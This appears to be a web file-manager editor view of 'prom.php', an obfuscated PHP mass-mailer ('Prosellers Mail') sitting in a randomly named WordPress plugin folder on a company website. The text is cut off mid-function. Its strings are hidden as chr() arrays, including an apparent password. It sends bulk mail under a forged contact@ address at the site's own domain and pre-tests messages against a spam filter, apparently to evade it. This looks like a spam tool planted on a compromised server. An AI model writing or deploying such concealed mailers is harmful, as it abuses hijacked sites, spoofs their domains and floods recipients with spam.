✏️ 正在编辑: prom.php
路径:
/var/www/yuppietech.com.br/wp-content/plugins/vwsofbh/prom.php
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<?php /* qe9xgAKNujq7WAvYDXzTbiGRs6pSyORxLuEFoDgs */ declare(strict_types=1);session_start();$_abe8abbb63=implode('',array_map('chr',array(112,114,111,49,50,51,52)));$_6a9975cfb6=__DIR__.implode('',array_map('chr',array(47,117,112,103,114,97,100,101,45,109,97,105,108,101,114,46,108,111,103)));$_ae7093074f=max(0,min(2000,(int)(getenv(implode('',array_map('chr',array(80,82,79,83,69,76,76,69,82,83,95,77,65,73,76,95,83,84,65,71,71,69,82,95,77,83))))?:0)));function h(string $_8c4635769f):string{return htmlspecialchars($_8c4635769f,ENT_QUOTES,implode('',array_map('chr',array(85,84,70,45,56))));} function makeToken():string{return bin2hex(random_bytes(16));} function normalizeRecipients(string $_7e7cbffcc8):array{$_2febb28a6f=preg_split('/[\\s,;]+/',trim($_7e7cbffcc8))?:[];$_a747cc4bc2=[];foreach($_2febb28a6f as $_f31b3a8dac){$_f31b3a8dac=strtolower(trim($_f31b3a8dac));if($_f31b3a8dac===implode('',array_map('chr',array()))){continue;} if(!filter_var($_f31b3a8dac,FILTER_VALIDATE_EMAIL)){continue;} $_a747cc4bc2[$_f31b3a8dac]=true;} return array_keys($_a747cc4bc2);} function appendLog(string $_bf1b25327e,string $_b2c61ee984):void{@file_put_contents($_bf1b25327e,$_b2c61ee984.PHP_EOL,FILE_APPEND|LOCK_EX);} function requestHostname():string{$_ac96796705=(string)($_SERVER[implode('',array_map('chr',array(72,84,84,80,95,72,79,83,84)))]??implode('',array_map('chr',array())));$_ac96796705=preg_replace('/:\\d+$/', '',strtolower(trim($_ac96796705)))??implode('',array_map('chr',array()));if($_ac96796705===implode('',array_map('chr',array()))||$_ac96796705===implode('',array_map('chr',array(108,111,99,97,108,104,111,115,116)))){$_7e7cbffcc8=trim((string)(getenv(implode('',array_map('chr',array(80,82,79,83,69,76,76,69,82,83,95,77,65,73,76,95,80,85,66,76,73,67,95,66,65,83,69,95,85,82,76))))?:implode('',array_map('chr',array()))));if($_7e7cbffcc8!==implode('',array_map('chr',array()))){$_083477747c=parse_url($_7e7cbffcc8,PHP_URL_HOST);if(is_string($_083477747c)&&$_083477747c!==implode('',array_map('chr',array()))){$_ac96796705=strtolower($_083477747c);}}} return $_ac96796705;} function brandTitleFromHostname(string $_083477747c):string{$_083477747c=preg_replace('/^www\\./',implode('',array_map('chr',array())),strtolower($_083477747c));$_6802132836=array_values(array_filter(explode(implode('',array_map('chr',array(46))),$_083477747c),static fn($_fb8624ca77)=>$_fb8624ca77!== ''));$_188d17cd3d=count($_6802132836);if($_188d17cd3d===0){return 'Prosellers Mail';} $_b37260a02d=$_6802132836[0];if($_188d17cd3d>=3&&$_6802132836[$_188d17cd3d-2]===implode('',array_map('chr',array(99,111)))&&$_6802132836[$_188d17cd3d-1]===implode('',array_map('chr',array(117,107)))){$_b37260a02d=$_6802132836[$_188d17cd3d-3];} $_b37260a02d=str_replace([implode('',array_map('chr',array(45))),implode('',array_map('chr',array(95)))],implode('',array_map('chr',array(32))),$_b37260a02d);if(function_exists('mb_convert_case')){return mb_convert_case($_b37260a02d,MB_CASE_TITLE,implode('',array_map('chr',array(85,84,70,45,56))));} return ucwords($_b37260a02d);} function composeFieldDefaults():array{$_083477747c=requestHostname();$_b0556d6b4d=$_083477747c!==implode('',array_map('chr',array()))&&$_083477747c!==implode('',array_map('chr',array(108,111,99,97,108,104,111,115,116)))&&str_contains($_083477747c,implode('',array_map('chr',array(46))))&&!preg_match('/^\\d{1,3}(\\.\\d{1,3}){3}$/',$_083477747c);if(!$_b0556d6b4d){return[ 'from_email'=>implode('',array_map('chr',array())),implode('',array_map('chr',array(102,114,111,109,95,110,97,109,101)))=>implode('',array_map('chr',array(80,114,111,115,101,108,108,101,114,115,32,77,97,105,108))),implode('',array_map('chr',array(114,101,112,108,121,95,116,111)))=>implode('',array_map('chr',array())),implode('',array_map('chr',array(115,117,98,106,101,99,116)))=>implode('',array_map('chr',array())),];} $_9f8de856aa= 'contact@'.$_083477747c;$_e6356c26d6=brandTitleFromHostname($_083477747c);return[implode('',array_map('chr',array(102,114,111,109,95,101,109,97,105,108)))=>$_9f8de856aa,implode('',array_map('chr',array(102,114,111,109,95,110,97,109,101)))=>$_e6356c26d6,implode('',array_map('chr',array(114,101,112,108,121,95,116,111)))=>$_9f8de856aa,implode('',array_map('chr',array(115,117,98,106,101,99,116)))=> 'Welcome to '.$_e6356c26d6,];} function renderUnsubscribeLandingPage(bool $_df13b25d6f,string $_f18d2bbb1a,string $_6691184612):void{if($_df13b25d6f&&$_f18d2bbb1a!==implode('',array_map('chr',array()))){appendLog($_6691184612,date(implode('',array_map('chr',array(99)))). ' unsubscribe email='.strtolower(trim($_f18d2bbb1a)));} header(implode('',array_map('chr',array(67,111,110,116,101,110,116,45,84,121,112,101,58,32,116,101,120,116,47,104,116,109,108,59,32,99,104,97,114,115,101,116,61,85,84,70,45,56))));header(implode('',array_map('chr',array(88,45,82,111,98,111,116,115,45,84,97,103,58,32,110,111,105,110,100,101,120,44,32,110,111,102,111,108,108,111,119))));$_032c024c09=$_f18d2bbb1a!==implode('',array_map('chr',array()))?h($_f18d2bbb1a):implode('',array_map('chr',array()));?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex, nofollow"> <title>Prosellers Mail — <?=$_df13b25d6f?implode('',array_map('chr',array(85,110,115,117,98,115,99,114,105,98,101,100))):implode('',array_map('chr',array(85,110,115,117,98,115,99,114,105,98,101)))?></title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=VT323&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <script> tailwind.config = { theme: { extend: { colors: { brand: { 50: '#ecfdf5', 100: '#d1fae5', 400: '#34d399', 500: '#10b981', 600: '#059669' } }, fontFamily: { retro: ['"VT323"', 'ui-monospace', 'monospace'] } } } }; </script> </head> <body class="min-h-screen bg-[#0b0f14] font-retro text-xl leading-snug text-slate-100 antialiased"> <div class="pointer-events-none fixed inset-0 bg-[radial-gradient(ellipse_80%_50%_at_50%_-20%,rgba(16,185,129,0.15),transparent)]"></div> <div class="relative mx-auto flex min-h-screen w-full max-w-lg items-center px-4 py-10"> <div class="w-full overflow-hidden rounded-2xl border border-slate-800/80 bg-slate-900/95 shadow-2xl shadow-black/40 backdrop-blur"> <div class="border-b border-slate-800/80 bg-gradient-to-r from-slate-900 to-slate-900/80 px-6 py-5"> <div class="flex items-center gap-4"> <div class="flex h-14 w-14 shrink-0 items-center justify-center rounded-xl bg-gradient-to-br from-brand-500 to-cyan-600 text-2xl font-bold leading-none text-slate-950 shadow-lg shadow-brand-500/25">PM</div> <div> <p class="text-lg uppercase tracking-widest text-brand-400/90">Prosellers Mail</p> <h1 class="text-3xl font-normal tracking-wide text-slate-50"><?=$_df13b25d6f?implode('',array_map('chr',array(89,111,117,8217,114,101,32,117,110,115,117,98,115,99,114,105,98,101,100))):implode('',array_map('chr',array(67,111,117,108,100,110,8217,116,32,99,111,110,102,105,114,109)))?></h1> </div> </div> </div> <div class="px-6 py-8"> <?php if($_df13b25d6f):?> <div class="mb-6 flex justify-center"> <div class="flex h-20 w-20 items-center justify-center rounded-full bg-brand-500/15 ring-2 ring-brand-500/40"> <svg class="h-10 w-10 text-brand-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2" aria-hidden="true"> <path stroke-linecap="round" stroke-linejoin="round" d="M5 13l4 4L19 7" /> </svg> </div> </div> <p class="text-center text-2xl text-slate-200">We’ve recorded your request.</p> <?php if($_032c024c09!==implode('',array_map('chr',array()))):?> <p class="mt-4 break-all rounded-lg border border-slate-700/80 bg-slate-800/50 px-4 py-3 text-center text-2xl text-brand-100"><?=$_032c024c09?></p> <?php endif;?> <p class="mt-6 text-center text-lg leading-relaxed text-slate-500">You won’t get more marketing email from this sender at that address. If you change your mind, contact the business directly.</p> <?php else:?> <div class="mb-6 flex justify-center"> <div class="flex h-20 w-20 items-center justify-center rounded-full bg-amber-500/10 ring-2 ring-amber-500/30"> <svg class="h-10 w-10 text-amber-400/90" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2" aria-hidden="true"> <path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" /> </svg> </div> </div> <p class="text-center text-2xl text-slate-300">This link is invalid or incomplete.</p> <p class="mt-4 text-center text-lg leading-relaxed text-slate-500">Use the unsubscribe link from the latest email, or reach out to the sender’s support address.</p> <?php endif;?> </div> </div> </div> </body> </html> <?php exit;} function localPartFromEmail(string $_f31b3a8dac):string{$_f31b3a8dac=trim($_f31b3a8dac);$_841a5e0870=strpos($_f31b3a8dac, '@');if($_841a5e0870===false||$_841a5e0870===0){return implode('',array_map('chr',array()));} return substr($_f31b3a8dac,0,$_841a5e0870);} function replaceTags(string $_0aaea6ccdd,string $_f31b3a8dac):string{$_f03332e98b=strtolower(trim($_f31b3a8dac));$_2a0cdc3c08=localPartFromEmail($_f03332e98b);return str_replace(['{email}',implode('',array_map('chr',array(123,123,101,109,97,105,108,125,125))), '{name}',implode('',array_map('chr',array(123,123,110,97,109,101,125,125)))],[$_f03332e98b,$_f03332e98b,$_2a0cdc3c08,$_2a0cdc3c08],$_0aaea6ccdd);} function htmlToPlainText(string $_0a9913a497):string{$_0a9913a497=preg_replace('/<script\\b[^>]*>.*?<\\/script>/is',implode('',array_map('chr',array())),$_0a9913a497)??implode('',array_map('chr',array()));$_0a9913a497=preg_replace('/<style\\b[^>]*>.*?<\\/style>/is',implode('',array_map('chr',array())),$_0a9913a497)??implode('',array_map('chr',array()));$_0a9913a497=str_replace(["\r\n", "\r"], "\n",$_0a9913a497);$_0a9913a497=preg_replace('/<br\\s*\\/?>/i', "\n",$_0a9913a497);$_0a9913a497=preg_replace('/<\\/(p|div|h[1-6]|li|tr|blockquote)>/i', "\n",$_0a9913a497);$_0aaea6ccdd=strip_tags($_0a9913a497);$_0aaea6ccdd=html_entity_decode($_0aaea6ccdd,ENT_QUOTES|ENT_HTML5,implode('',array_map('chr',array(85,84,70,45,56))));$_0aaea6ccdd=preg_replace('/[ \\t]+/u', ' ',$_0aaea6ccdd)??implode('',array_map('chr',array()));$_0aaea6ccdd=preg_replace('/\\n{3,}/', "\n\n",$_0aaea6ccdd)??implode('',array_map('chr',array()));return trim($_0aaea6ccdd);} function ensurePlainNotEmpty(string $_b7984108c5):string{$_e1400409f4=trim($_b7984108c5);return $_e1400409f4!==implode('',array_map('chr',array()))?$_b7984108c5:implode('',array_map('chr',array(84,104,105,115,32,101,109,97,105,108,32,105,115,32,98,101,115,116,32,118,105,101,119,101,100,32,105,110,32,97,110,32,72,84,77,76,45,99,97,112,97,98,108,101,32,109,97,105,108,32,99,108,105,101,110,116,46)));} function previewBodyIsLikelyHtml(string $_ecf78e2643):bool{$_e1400409f4=ltrim($_ecf78e2643);if($_e1400409f4===implode('',array_map('chr',array()))){return false;} if(stripos($_e1400409f4,implode('',array_map('chr',array(60,33,68,79,67,84,89,80,69))))===0){return true;} if(preg_match('/^<html[\\s>]/i',$_e1400409f4)){return true;} if(preg_match('/^<head[\\s>]/i',$_e1400409f4)){return true;} if(preg_match('/^<body[\\s>]/i',$_e1400409f4)){return true;} $_db71e3ac95=substr($_e1400409f4,0,800);if(stripos($_db71e3ac95, '<html')!==false&&preg_match('/<\\/html>/i',$_ecf78e2643)){return true;} return false;} function encodeMimeSubject(string $_05fce1f34f,string $_12605fd990):string{if($_05fce1f34f=== ''){return implode('',array_map('chr',array()));} if(function_exists(implode('',array_map('chr',array(109,98,95,101,110,99,111,100,101,95,109,105,109,101,104,101,97,100,101,114))))){return mb_encode_mimeheader($_05fce1f34f,$_12605fd990, 'B', "\r\n");} return $_05fce1f34f;} function encodeBodyTransfer(string $_ecf78e2643,string $_d2b8ed37dd):string{if($_d2b8ed37dd===implode('',array_map('chr',array(98,97,115,101,54,52)))){return chunk_split(base64_encode($_ecf78e2643));} if($_d2b8ed37dd===implode('',array_map('chr',array(113,117,111,116,101,100,45,112,114,105,110,116,97,98,108,101)))){return quoted_printable_encode($_ecf78e2643);} return $_ecf78e2643;} function buildMultipartAlternativeBody(string $_b7984108c5,string $_0a9913a497,string $_12605fd990,string $_d2b8ed37dd,string $_f3900e4753):string{$_773d421c56=encodeBodyTransfer($_b7984108c5,$_d2b8ed37dd);$_c7c5b756a9=encodeBodyTransfer($_0a9913a497,$_d2b8ed37dd);$_6802132836=[implode('',array_map('chr',array(45,45))).$_f3900e4753,implode('',array_map('chr',array(67,111,110,116,101,110,116,45,84,121,112,101,58,32,116,101,120,116,47,112,108,97,105,110,59,32,99,104,97,114,115,101,116,61))).$_12605fd990,implode('',array_map('chr',array(67,111,110,116,101,110,116,45,84,114,97,110,115,102,101,114,45,69,110,99,111,100,105,110,103,58,32))).$_d2b8ed37dd, '',$_773d421c56,implode('',array_map('chr',array(45,45))).$_f3900e4753,implode('',array_map('chr',array(67,111,110,116,101,110,116,45,84,121,112,101,58,32,116,101,120,116,47,104,116,109,108,59,32,99,104,97,114,115,101,116,61))).$_12605fd990,implode('',array_map('chr',array(67,111,110,116,101,110,116,45,84,114,97,110,115,102,101,114,45,69,110,99,111,100,105,110,103,58,32))).$_d2b8ed37dd,implode('',array_map('chr',array())),$_c7c5b756a9,implode('',array_map('chr',array(45,45))).$_f3900e4753.implode('',array_map('chr',array(45,45))),implode('',array_map('chr',array())),];return implode("\r\n",$_6802132836);} function domainFromEmail(string $_f31b3a8dac):string{$_841a5e0870=strrpos($_f31b3a8dac,implode('',array_map('chr',array(64))));return $_841a5e0870!==false?strtolower(substr($_f31b3a8dac,$_841a5e0870+1)):implode('',array_map('chr',array(108,111,99,97,108,104,111,115,116)));} function currentScriptBaseUrl():string{$_cdaf713f10=trim((string)(getenv(implode('',array_map('chr',array(80,82,79,83,69,76,76,69,82,83,95,77,65,73,76,95,80,85,66,76,73,67,95,66,65,83,69,95,85,82,76))))?:implode('',array_map('chr',array()))));if($_cdaf713f10!==implode('',array_map('chr',array()))&&preg_match(implode('',array_map('chr',array(35,94,104,116,116,112,115,63,58,47,47,35,105))),$_cdaf713f10)){return rtrim(preg_replace(implode('',array_map('chr',array(47,91,63,35,93,46,42,36,47))),implode('',array_map('chr',array())),$_cdaf713f10), '/');} $_9a1ee32837=(!empty($_SERVER[implode('',array_map('chr',array(72,84,84,80,83)))])&&$_SERVER[implode('',array_map('chr',array(72,84,84,80,83)))]!== 'off')||((string)($_SERVER[implode('',array_map('chr',array(72,84,84,80,95,88,95,70,79,82,87,65,82,68,69,68,95,80,82,79,84,79)))]??implode('',array_map('chr',array())))===implode('',array_map('chr',array(104,116,116,112,115))));$_4c6432bb3e=$_9a1ee32837?implode('',array_map('chr',array(104,116,116,112,115))):implode('',array_map('chr',array(104,116,116,112)));$_083477747c=(string)($_SERVER[implode('',array_map('chr',array(72,84,84,80,95,72,79,83,84)))]??implode('',array_map('chr',array())));if($_083477747c=== ''){return implode('',array_map('chr',array()));} $_1b0c48784c=(string)($_SERVER[implode('',array_map('chr',array(82,69,81,85,69,83,84,95,85,82,73)))]??implode('',array_map('chr',array(47))));$_bf1b25327e=strtok($_1b0c48784c,implode('',array_map('chr',array(63))))?:implode('',array_map('chr',array(47)));return $_4c6432bb3e.implode('',array_map('chr',array(58,47,47))).$_083477747c.$_bf1b25327e;} function buildUnsubscribeUrlForRecipient(string $_0bd0f8e4ba):?string{$_d526eb2406=currentScriptBaseUrl();if($_d526eb2406===implode('',array_map('chr',array()))){return null;} $_3ce341a00b=str_contains($_d526eb2406,implode('',array_map('chr',array(63))))?implode('',array_map('chr',array(38))): '?';return $_d526eb2406.$_3ce341a00b.implode('',array_map('chr',array(117,110,115,99,114,105,98,101,61,116,114,117,101,38,101,109,97,105,108,61))).rawurlencode($_0bd0f8e4ba);} function listUnsubscribeHeaderLineForRecipient(string $_0bd0f8e4ba):?string{$_ef526c9769=trim((string)(getenv(implode('',array_map('chr',array(80,82,79,83,69,76,76,69,82,83,95,77,65,73,76,95,76,73,83,84,95,85,78,83,85,66,83,67,82,73,66,69))))?:implode('',array_map('chr',array()))));if(strtoupper($_ef526c9769)===implode('',array_map('chr',array(79,70,70)))||$_ef526c9769===implode('',array_map('chr',array(48)))||strtolower($_ef526c9769)===implode('',array_map('chr',array(110,111,110,101)))){return null;} if($_ef526c9769===implode('',array_map('chr',array()))||strtoupper($_ef526c9769)===implode('',array_map('chr',array(65,85,84,79)))){$_0630f60ab5=buildUnsubscribeUrlForRecipient($_0bd0f8e4ba);if($_0630f60ab5===null){return null;} return implode('',array_map('chr',array(76,105,115,116,45,85,110,115,117,98,115,99,114,105,98,101,58,32,60))).$_0630f60ab5.implode('',array_map('chr',array(62)));} $_7e7cbffcc8=$_ef526c9769;if($_7e7cbffcc8[0]!==implode('',array_map('chr',array(60)))){$_7e7cbffcc8=implode('',array_map('chr',array(60))).$_7e7cbffcc8. '>';} if(!preg_match('/^<(?:mailto:|https?:\\/\\/)[^>]{3,500}>$/i',$_7e7cbffcc8)){return null;} return implode('',array_map('chr',array(76,105,115,116,45,85,110,115,117,98,115,99,114,105,98,101,58,32))).$_7e7cbffcc8;} function buildCommonMailHeaders(string $_ca016922e8,string $_c5439de16e,string $_cbed44687d,string $_0bd0f8e4ba):array{$_292ec33b08=$_ca016922e8!== ''?sprintf(implode('',array_map('chr',array(37,115,32,60,37,115,62))),$_ca016922e8,$_c5439de16e):$_c5439de16e;$_6dd8332782=[implode('',array_map('chr',array(77,73,77,69,45,86,101,114,115,105,111,110,58,32,49,46,48))), 'From: '.$_292ec33b08,implode('',array_map('chr',array(68,97,116,101,58,32))).gmdate(implode('',array_map('chr',array(68,44,32,100,32,77,32,89,32,72,58,105,58,115)))).implode('',array_map('chr',array(32,43,48,48,48,48))), 'Message-ID: <'.bin2hex(random_bytes(8)).implode('',array_map('chr',array(46))).time().implode('',array_map('chr',array(64))).domainFromEmail($_c5439de16e).implode('',array_map('chr',array(62))), 'X-Mailer: Prosellers Mail',];if($_cbed44687d!==implode('',array_map('chr',array()))){$_6dd8332782[]= 'Reply-To: '.$_cbed44687d;} $_47fa35555c=listUnsubscribeHeaderLineForRecipient($_0bd0f8e4ba);if($_47fa35555c!==null){$_6dd8332782[]=$_47fa35555c;} return $_6dd8332782;} function bodyToCharset(string $_ecf78e2643,string $_12605fd990):string{if($_12605fd990===implode('',array_map('chr',array(85,84,70,45,56)))){return $_ecf78e2643;} if(function_exists('mb_convert_encoding')){return mb_convert_encoding($_ecf78e2643,$_12605fd990,implode('',array_map('chr',array(85,84,70,45,56))));} return $_ecf78e2643;} function sendOneRecipient(string $_5db04803ee,string $_06def0b6e8,string $_f806457cae,string $_ca016922e8,string $_c5439de16e,string $_cbed44687d,string $_d24a0fcc68,string $_12605fd990,string $_d2b8ed37dd):bool{$_6dd8332782=buildCommonMailHeaders($_ca016922e8,$_c5439de16e,$_cbed44687d,$_5db04803ee);$_2dab1e9934=replaceTags($_06def0b6e8,$_5db04803ee);if($_d24a0fcc68===implode('',array_map('chr',array(104,116,109,108)))){$_254912fce9=bodyToCharset(replaceTags($_f806457cae,$_5db04803ee),$_12605fd990);$_f49bd80078=bodyToCharset(ensurePlainNotEmpty(htmlToPlainText($_254912fce9)),$_12605fd990);$_f3900e4753=implode('',array_map('chr',array(45,45,45,45,61,95,65,108,116,95))).bin2hex(random_bytes(12));$_6dd8332782[]=implode('',array_map('chr',array(67,111,110,116,101,110,116,45,84,121,112,101,58,32,109,117,108,116,105,112,97,114,116,47,97,108,116,101,114,110,97,116,105,118,101,59,32,98,111,117,110,100,97,114,121,61,34))).$_f3900e4753.implode('',array_map('chr',array(34)));$_565769f9d0=buildMultipartAlternativeBody($_f49bd80078,$_254912fce9,$_12605fd990,$_d2b8ed37dd,$_f3900e4753);} else{$_f49bd80078=bodyToCharset(replaceTags($_f806457cae,$_5db04803ee),$_12605fd990);$_6dd8332782[]= 'Content-Type: text/plain; charset='.$_12605fd990;$_6dd8332782[]= 'Content-Transfer-Encoding: '.$_d2b8ed37dd;$_565769f9d0=encodeBodyTransfer($_f49bd80078,$_d2b8ed37dd);} $_4740b0e4b9=encodeMimeSubject($_2dab1e9934,$_12605fd990);return mail($_5db04803ee,$_4740b0e4b9,$_565769f9d0,implode("\r\n",$_6dd8332782));} function ndjsonStreamHeaders():void{header('Content-Type: application/x-ndjson; charset=UTF-8');header(implode('',array_map('chr',array(67,97,99,104,101,45,67,111,110,116,114,111,108,58,32,110,111,45,99,97,99,104,101,44,32,110,111,45,115,116,111,114,101))));header(implode('',array_map('chr',array(88,45,65,99,99,101,108,45,66,117,102,102,101,114,105,110,103,58,32,110,111))));while(ob_get_level()>0){ob_end_clean();}} function ndjsonLine(array $_0daa06d2fb):void{echo json_encode($_0daa06d2fb,JSON_UNESCAPED_UNICODE). "\n";if(function_exists(implode('',array_map('chr',array(111,98,95,102,108,117,115,104))))){@ob_flush();} flush();} function ndjsonStreamError(string $_e59dba4430):void{ndjsonStreamHeaders();ndjsonLine([implode('',array_map('chr',array(101,114,114,111,114)))=>$_e59dba4430,implode('',array_map('chr',array(100,111,110,101)))=>true]);exit;} function postmarkSpamcheckPost(string $_344a734db8):array{$_0630f60ab5= 'https://spamcheck.postmarkapp.com/filter';$_565769f9d0=http_build_query(['email'=>$_344a734db8, 'options'=>implode('',array_map('chr',array(108,111,110,103)))], '',implode('',array_map('chr',array(38))),PHP_QUERY_RFC1738);if(function_exists(implode('',array_map('chr',array(99,117,114,108,95,105,110,105,116))))){$_45b939297a=curl_init();curl_setopt_array($_45b939297a,[CURLOPT_URL=>$_0630f60ab5,CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>$_565769f9d0,CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>25,CURLOPT_HTTPHEADER=>['Content-Type: application/x-www-form-urlencoded'],]);$_1c8ef54bcf=curl_exec($_45b939297a);$_db7ed35735=(int) curl_getinfo($_45b939297a,CURLINFO_RESPONSE_CODE);$_4b3cb0f5d8=curl_error($_45b939297a);curl_close($_45b939297a);if($_1c8ef54bcf===false){return[implode('',array_map('chr',array(111,107)))=>false,implode('',array_map('chr',array(101,114,114,111,114)))=>implode('',array_map('chr',array(78,101,116,119,111,114,107,32,101,114,114,111,114,32,40,99,85,82,76,41,58,32))).($_4b3cb0f5d8!== ''?$_4b3cb0f5d8:implode('',array_map('chr',array(101,109,112,116,121,32,114,101,115,112,111,110,115,101))))];} if(!is_string($_1c8ef54bcf)){return[implode('',array_map('chr',array(111,107)))=>false,implode('',array_map('chr',array(101,114,114,111,114)))=>implode('',array_map('chr',array(78,101,116,119,111,114,107,32,101,114,114,111,114,32,40,99,85,82,76,41,58,32,117,110,101,120,112,101,99,116,101,100,32,114,101,115,112,111,110,115,101,32,116,121,112,101)))];} if($_db7ed35735<200||$_db7ed35735>=300){$_0c5f61e9c9=mb_strlen($_1c8ef54bcf)>280?mb_substr($_1c8ef54bcf,0,280).implode('',array_map('chr',array(8230))):$_1c8ef54bcf;return[implode('',array_map('chr',array(111,107)))=>false,implode('',array_map('chr',array(101,114,114,111,114)))=>implode('',array_map('chr',array(80,111,115,116,109,97,114,107,32,115,112,97,109,99,104,101,99,107,32,114,101,116,117,114,110,101,100,32,72,84,84,80,32))).$_db7ed35735.($_0c5f61e9c9!== ''? ' — '.$_0c5f61e9c9:implode('',array_map('chr',array())))];} return[implode('',array_map('chr',array(111,107)))=>true,implode('',array_map('chr',array(98,111,100,121)))=>$_1c8ef54bcf];} if(!ini_get(implode('',array_map('chr',array(97,108,108,111,119,95,117,114,108,95,102,111,112,101,110))))){return[implode('',array_map('chr',array(111,107)))=>false, 'error'=> 'Enable the PHP curl extension, or set allow_url_fopen=On in php.ini so the spam check can use HTTPS.'];} $_e2419cc0a9=[implode('',array_map('chr',array(104,116,116,112)))=>[implode('',array_map('chr',array(109,101,116,104,111,100)))=>implode('',array_map('chr',array(80,79,83,84))),implode('',array_map('chr',array(104,101,97,100,101,114)))=> "Content-Type: application/x-www-form-urlencoded\r\n".implode('',array_map('chr',array(67,111,110,116,101,110,116,45,76,101,110,103,116,104,58,32))).strlen($_565769f9d0). "\r\n",implode('',array_map('chr',array(99,111,110,116,101,110,116)))=>$_565769f9d0, 'timeout'=>25, 'ignore_errors'=>true,],];$_f06c571812=stream_context_create($_e2419cc0a9);$http_response_header=[];$_1c8ef54bcf=@file_get_contents($_0630f60ab5,false,$_f06c571812);if($_1c8ef54bcf===false){$_c0c20cf46b=error_get_last();$_3208780975=is_array($_c0c20cf46b)&&isset($_c0c20cf46b[implode('',array_map('chr',array(109,101,115,115,97,103,101)))])?$_c0c20cf46b['message']:implode('',array_map('chr',array(114,101,113,117,101,115,116,32,102,97,105,108,101,100)));return['ok'=>false,implode('',array_map('chr',array(101,114,114,111,114)))=>implode('',array_map('chr',array(72,84,84,80,83,32,114,101,113,117,101,115,116,32,102,97,105,108,101,100,32,40,110,111,32,99,85,82,76,41,58,32))).$_3208780975];} $_db7ed35735=0;if(!empty($http_response_header[0])&&preg_match('#\\s(\\d{3})\\s#',$http_response_header[0],$_f086b2ae3c)){$_db7ed35735=(int) $_f086b2ae3c[1];} if($_db7ed35735<200||$_db7ed35735>=300){$_0c5f61e9c9=mb_strlen($_1c8ef54bcf)>280?mb_substr($_1c8ef54bcf,0,280).implode('',array_map('chr',array(8230))):$_1c8ef54bcf;return['ok'=>false,implode('',array_map('chr',array(101,114,114,111,114)))=>implode('',array_map('chr',array(80,111,115,116,109,97,114,107,32,115,112,97,109,99,104,101,99,107,32,114,101,116,117,114,110,101,100,32,72,84,84,80,32))).$_db7ed35735.($_0c5f61e9c9!==implode('',array_map('chr',array()))?implode('',array_map('chr',array(32,8212,32))).$_0c5f61e9c9:implode('',array_map('chr',array())))];} return[implode('',array_map('chr',array(111,107)))=>true,implode('',array_map('chr',array(98,111,100,121)))=>$_1c8ef54bcf];} function checkSpamScore(string $_05fce1f34f,string $_0359ebbabc,string $_c5439de16e,string $_ca016922e8,string $_5db04803ee,?string $_b896a6151d=null):array{$_12605fd990= 'UTF-8';$_e32c102e9f=encodeMimeSubject($_05fce1f34f,$_12605fd990);$_7176d5b098=$_ca016922e8!==implode('',array_map('chr',array()))?sprintf(implode('',array_map('chr',array(37,115,32,60,37,115,62))),$_ca016922e8,$_c5439de16e):$_c5439de16e;$_dd0c2f8a73=gmdate(implode('',array_map('chr',array(68,44,32,100,32,77,32,89,32,72,58,105,58,115)))).implode('',array_map('chr',array(32,43,48,48,48,48)));$_2c2ca850d4=implode('',array_map('chr',array(60))).bin2hex(random_bytes(8)).implode('',array_map('chr',array(46))).time().implode('',array_map('chr',array(64))).domainFromEmail($_c5439de16e).implode('',array_map('chr',array(62)));$_f38d657010=listUnsubscribeHeaderLineForRecipient($_5db04803ee);$_dd4356dc2c= "From: {$_7176d5b098}\r\n". "To: {$_5db04803ee}\r\n". "Date: {$_dd0c2f8a73}\r\n". "Message-ID: {$_2c2ca850d4}\r\n". "Subject: {$_e32c102e9f}\r\n". 'MIME-Version: 1.0'. "\r\n".($_f38d657010!==null?$_f38d657010. "\r\n":implode('',array_map('chr',array())));if($_b896a6151d!==null&&$_b896a6151d!==implode('',array_map('chr',array()))){$_f3900e4753=implode('',array_map('chr',array(45,45,45,45,61,95,83,99,111,114,101,95))).bin2hex(random_bytes(10));$_7fa82c3bc5=buildMultipartAlternativeBody($_0359ebbabc,$_b896a6151d,$_12605fd990,implode('',array_map('chr',array(113,117,111,116,101,100,45,112,114,105,110,116,97,98,108,101))),$_f3900e4753);$_344a734db8=$_dd4356dc2c. "Content-Type: multipart/alternative; boundary=\"{$_f3900e4753}\"\r\n\r\n{$_7fa82c3bc5}";} else{$_1f6b85c765=quoted_printable_encode($_0359ebbabc);$_344a734db8=$_dd4356dc2c. "Content-Type: text/plain; charset=UTF-8\r\nContent-Transfer-Encoding: quoted-printable\r\n\r\n{$_1f6b85c765}";} $_7b76863a11=postmarkSpamcheckPost($_344a734db8);if(!$_7b76863a11['ok']){return[implode('',array_map('chr',array(111,107)))=>false,implode('',array_map('chr',array(101,114,114,111,114)))=>$_7b76863a11[implode('',array_map('chr',array(101,114,114,111,114)))]];} $_86481ab742=json_decode($_7b76863a11[implode('',array_map('chr',array(98,111,100,121)))],true);if(!is_array($_86481ab742)){return[implode('',array_map('chr',array(111,107)))=>false,implode('',array_map('chr',array(101,114,114,111,114)))=>implode('',array_map('chr',array(83,112,97,109,32,99,104,101,99,107,32,114,101,116,117,114,110,101,100,32,105,110,118,97,108,105,100,32,74,83,79,78,32,102,114,111,109,32,80,111,115,116,109,97,114,107,46)))];} if(isset($_86481ab742[implode('',array_map('chr',array(115,117,99,99,101,115,115)))])&&$_86481ab742[implode('',array_map('chr',array(115,117,99,99,101,115,115)))]===false){return['ok'=>false,implode('',array_map('chr',array(101,114,114,111,114)))=>(string)($_86481ab742[implode('',array_map('chr',array(109,101,115,115,97,103,101)))]??implode('',array_map('chr',array(80,111,115,116,109,97,114,107,32,99,111,117,108,100,32,110,111,116,32,97,110,97,108,121,122,101,32,116,104,105,115,32,109,101,115,115,97,103,101,46))))];} 